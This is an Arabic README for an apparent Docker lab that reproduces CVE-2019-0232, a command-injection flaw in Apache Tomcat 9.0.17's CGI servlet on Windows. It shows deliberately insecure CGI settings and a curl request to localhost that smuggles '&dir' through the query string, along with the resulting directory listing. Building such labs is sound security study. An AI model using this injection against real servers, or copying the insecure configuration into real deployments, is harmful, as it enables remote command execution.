
يوفر هذا المستودع بيئة مختبرية قائمة على Docker لإعادة إنتاج ثغرة CVE-2019-0232 في Apache Tomcat 9.0.17 على نظام Windows.
تعد CVE-2019-0232 ثغرة تنفيذ تعليمات برمجية عن بُعد في Apache Tomcat CGI Servlet عند تشغيله على نظام Windows. تنشأ المشكلة بسبب المعالجة غير السليمة لوسائط سطر الأوامر عندما يتم تعيين المعامل enableCmdLineArguments إلى true. يمكن للمهاجم تمرير وسائط عشوائية إلى سكربت CGI عبر سلسلة الاستعلام، مما يؤدي إلى تنفيذ أوامر النظام.
enableCmdLineArguments=true في إعدادات CGI servlettomcat-cgi-lab
├── docker-compose.yml
├── Dockerfile
└── tomcat
├── apache-tomcat-9.0.17-windows-x64.zip
└── apache-tomcat-9.0.17
├── conf
│ └── context.xml ← (privileged="true")
└── webapps
└── ROOT
└── WEB-INF
├── web.xml ← (CGI configuration)
└── cgi-bin
└── test.bat ← (.bat script)
privileged="true" للسماح لتطبيق الويب باستخدام CGI servlet.enableCmdLineArguments=true ويربطه بالنمط /cgi-bin/*.docker-compose build --no-cache
docker-compose up -d
curl -i "http://localhost:8080/cgi-bin/test.bat?&dir"
Welcome to CGI Test Page
Volume in drive C has no label.
Volume Serial Number is 3E70-7C38
Directory of C:\apache-tomcat-9.0.17\webapps\ROOT\WEB-INF\cgi-bin
07/12/2026 11:45 AM <DIR> .
07/12/2026 11:45 AM <DIR> ..
07/12/2026 12:25 PM 78 test.bat
1 File(s) 78 bytes
2 Dir(s) 136,027,971,584 bytes free